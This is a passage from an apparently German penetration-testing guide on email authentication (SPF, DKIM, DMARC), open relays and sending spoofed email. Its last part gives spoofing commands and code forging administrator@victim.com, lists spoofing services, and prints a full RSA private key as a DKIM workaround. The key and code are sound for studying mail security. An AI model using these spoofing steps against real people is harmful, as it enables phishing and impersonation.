Eine Umleitung ist ein Verweis auf einen anderen Domainnamen, der eine SPF-Richtlinie hostet. Sie ermöglicht es mehreren Domains, dieselbe SPF-Richtlinie zu teilen. Sie ist nützlich, wenn man mit einer großen Anzahl von Domains arbeitet, die dieselbe E-Mail-Infrastruktur teilen.
Die SPF-Richtlinie der im Umleitungsmechanismus angegebenen Domain wird verwendet.
| Es ist auch möglich, **Qualifikatoren** zu identifizieren, die **angeben, was zu tun ist, wenn ein Mechanismus übereinstimmt**. Standardmäßig wird der **Qualifikator "+"** verwendet (wenn also ein Mechanismus übereinstimmt, bedeutet das, dass es erlaubt ist).\ Normalerweise werden Sie **am Ende jeder SPF-Richtlinie** etwas wie: **\~all** oder **-all** bemerken. Dies wird verwendet, um anzuzeigen, dass **wenn der Absender mit keiner SPF-Richtlinie übereinstimmt, die E-Mail als untrusted (\~) markiert oder (-) abgelehnt werden sollte.** #### Qualifikatoren Jeder Mechanismus innerhalb der Richtlinie kann mit einem der vier Qualifikatoren vorangestellt werden, um das beabsichtigte Ergebnis zu definieren: - **`+`**: Entspricht einem PASS-Ergebnis. Standardmäßig nehmen Mechanismen diesen Qualifikator an, wodurch `+mx` gleichwertig zu `mx` ist. - **`?`**: Stellt ein NEUTRAL-Ergebnis dar, das ähnlich wie NONE (keine spezifische Richtlinie) behandelt wird. - **`~`**: Bezeichnet SOFTFAIL und dient als Mittelweg zwischen NEUTRAL und FAIL. E-Mails, die dieses Ergebnis erfüllen, werden typischerweise akzeptiert, aber entsprechend markiert. - **`-`**: Gibt FAIL an und deutet darauf hin, dass die E-Mail vollständig abgelehnt werden sollte. Im kommenden Beispiel wird die **SPF-Richtlinie von google.com** veranschaulicht. Beachten Sie die Einbeziehung von SPF-Richtlinien aus verschiedenen Domains innerhalb der ersten SPF-Richtlinie: ```shell-session dig txt google.com | grep spf google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all" dig txt _spf.google.com | grep spf ; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com ;_spf.google.com. IN TXT _spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all" dig txt _netblocks.google.com | grep spf _netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all" dig txt _netblocks2.google.com | grep spf _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all" dig txt _netblocks3.google.com | grep spf _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" ``` Traditionell war es möglich, jeden Domainnamen zu fälschen, der keinen korrekten/keinen SPF-Eintrag hatte. **Heutzutage** wird eine **E-Mail**, die von einer **Domain ohne einen gültigen SPF-Eintrag** kommt, wahrscheinlich **automatisch abgelehnt/als nicht vertrauenswürdig markiert**. Um den SPF einer Domain zu überprüfen, können Sie Online-Tools wie: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) verwenden. ### DKIM (DomainKeys Identified Mail) DKIM wird verwendet, um ausgehende E-Mails zu signieren, sodass sie von externen Mail Transfer Agents (MTAs) durch den Abruf des öffentlichen Schlüssels der Domain aus dem DNS validiert werden können. Dieser öffentliche Schlüssel befindet sich im TXT-Eintrag einer Domain. Um auf diesen Schlüssel zuzugreifen, muss man sowohl den Selektor als auch den Domainnamen kennen. Um beispielsweise den Schlüssel anzufordern, sind der Domainname und der Selektor erforderlich. Diese können im E-Mail-Header `DKIM-Signature` gefunden werden, z.B. `d=gmail.com;s=20120113`. Ein Befehl, um diese Informationen abzurufen, könnte so aussehen: ```bash dig 20120113._domainkey.gmail.com TXT | grep p= # This command would return something like: 20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3 ``` ### DMARC (Domain-based Message Authentication, Reporting & Conformance) DMARC verbessert die E-Mail-Sicherheit, indem es auf den SPF- und DKIM-Protokollen aufbaut. Es legt Richtlinien fest, die Mailserver bei der Verarbeitung von E-Mails aus einer bestimmten Domain leiten, einschließlich der Handhabung von Authentifizierungsfehlern und wo Berichte über E-Mail-Verarbeitungsaktionen gesendet werden sollen. **Um den DMARC-Eintrag zu erhalten, müssen Sie die Subdomain \_dmarc abfragen** ```bash # Reject dig _dmarc.facebook.com txt | grep DMARC _dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100" # Quarantine dig _dmarc.google.com txt | grep DMARC _dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com" # None dig _dmarc.bing.com txt | grep DMARC _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;" ``` #### DMARC-Tags | Tag-Name | Zweck | Beispiel | | -------- | --------------------------------------------- | ------------------------------- | | v | Protokollversion | v=DMARC1 | | pct | Prozentsatz der Nachrichten, die gefiltert werden | pct=20 | | ruf | Reporting-URI für forensische Berichte | ruf=mailto:authfail@example.com | | rua | Reporting-URI von aggregierten Berichten | rua=mailto:aggrep@example.com | | p | Richtlinie für die organisatorische Domain | p=quarantine | | sp | Richtlinie für Subdomains der OD | sp=reject | | adkim | Ausrichtungsmodus für DKIM | adkim=s | | aspf | Ausrichtungsmodus für SPF | aspf=r | ### **Was ist mit Subdomains?** **Von** [**hier**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ Sie müssen separate SPF-Einträge für jede Subdomain haben, von der Sie E-Mails senden möchten.\ Das Folgende wurde ursprünglich auf openspf.org veröffentlicht, das früher eine großartige Ressource für diese Art von Dingen war. > Die Dämonenfrage: Was ist mit Subdomains? > > Wenn ich eine E-Mail von pielovers.demon.co.uk erhalte und es keine SPF-Daten für pielovers gibt, sollte ich dann eine Ebene höher gehen und SPF für demon.co.uk testen? Nein. Jede Subdomain bei Demon ist ein anderer Kunde, und jeder Kunde könnte seine eigene Richtlinie haben. Es wäre nicht sinnvoll, dass die Richtlinie von Demon standardmäßig für alle seine Kunden gilt; wenn Demon das möchte, kann es SPF-Einträge für jede Subdomain einrichten. > > Daher lautet der Rat an SPF-Publisher: Sie sollten einen SPF-Eintrag für jede Subdomain oder jeden Hostnamen hinzufügen, der einen A- oder MX-Eintrag hat. > > Websites mit Wildcard-A- oder MX-Einträgen sollten auch einen Wildcard-SPF-Eintrag in der Form haben: \* IN TXT "v=spf1 -all" Das macht Sinn - eine Subdomain kann sich sehr wohl an einem anderen geografischen Standort befinden und eine sehr unterschiedliche SPF-Definition haben. ### **Open Relay** Wenn E-Mails gesendet werden, ist es entscheidend, sicherzustellen, dass sie nicht als Spam markiert werden. Dies wird oft durch die Verwendung eines **Relay-Servers, der vom Empfänger vertraut wird**, erreicht. Ein häufiges Problem ist jedoch, dass Administratoren möglicherweise nicht vollständig darüber informiert sind, welche **IP-Bereiche sicher sind, um sie zuzulassen**. Dieses mangelnde Verständnis kann zu Fehlern bei der Einrichtung des SMTP-Servers führen, ein Risiko, das häufig in Sicherheitsbewertungen identifiziert wird. Eine Umgehung, die einige Administratoren verwenden, um Probleme bei der E-Mail-Zustellung zu vermeiden, insbesondere in Bezug auf die Kommunikation mit potenziellen oder laufenden Kunden, besteht darin, **Verbindungen von jeder IP-Adresse zuzulassen**. Dies geschieht, indem der Parameter `mynetworks` des SMTP-Servers so konfiguriert wird, dass er alle IP-Adressen akzeptiert, wie unten gezeigt: ```bash mynetworks = 0.0.0.0/0 ``` Um zu überprüfen, ob ein Mailserver ein offenes Relay ist (was bedeutet, dass er E-Mails von jeder externen Quelle weiterleiten könnte), wird das Tool `nmap` häufig verwendet. Es enthält ein spezifisches Skript, das dafür entwickelt wurde, dies zu testen. Der Befehl, um einen ausführlichen Scan auf einem Server (zum Beispiel mit der IP 10.10.10.10) an Port 25 mit `nmap` durchzuführen, lautet: ```bash nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` ### **Tools** - [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Überprüfen Sie SPF- und DMARC-Fehlkonfigurationen** - [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Automatisch SPF- und DMARC-Konfigurationen abrufen** ### Spoof-E-Mail senden - [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index) - [**http://www.anonymailer.net/**](http://www.anonymailer.net) - [**https://emkei.cz/**](https://emkei.cz/) **Oder Sie könnten ein Tool verwenden:** - [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing) ```bash # This will send a test email from test@victim.com to destination@gmail.com python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com # But you can also modify more options of the email python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com ``` > [!WARNING] > Wenn Sie einen **Fehler bei der Verwendung der dkim Python-Bibliothek** beim Parsen des Schlüssels erhalten, können Sie diesen folgenden verwenden.\ > **HINWEIS**: Dies ist nur ein schneller Fix, um schnelle Überprüfungen in Fällen durchzuführen, in denen aus irgendeinem Grund der openssl private key **nicht von dkim geparst werden kann**. > > ``` > -----BEGIN RSA PRIVATE KEY----- > MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt > spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO > pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB > AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1 > koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR > fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq > 1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j > ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc > GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf > 422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI > Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do > zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP > K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ== > -----END RSA PRIVATE KEY----- > ``` **Oder Sie könnten es manuell tun:** {{#tabs}} {{#tab name="PHP"}}# Dies wird eine nicht signierte Nachricht senden
mail("your_email@gmail.com", "Test Subject!", "hey! Dies ist ein Test", "From: administrator@victim.com");
{{#endtab}}
{{#tab name="Python"}}
```python
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""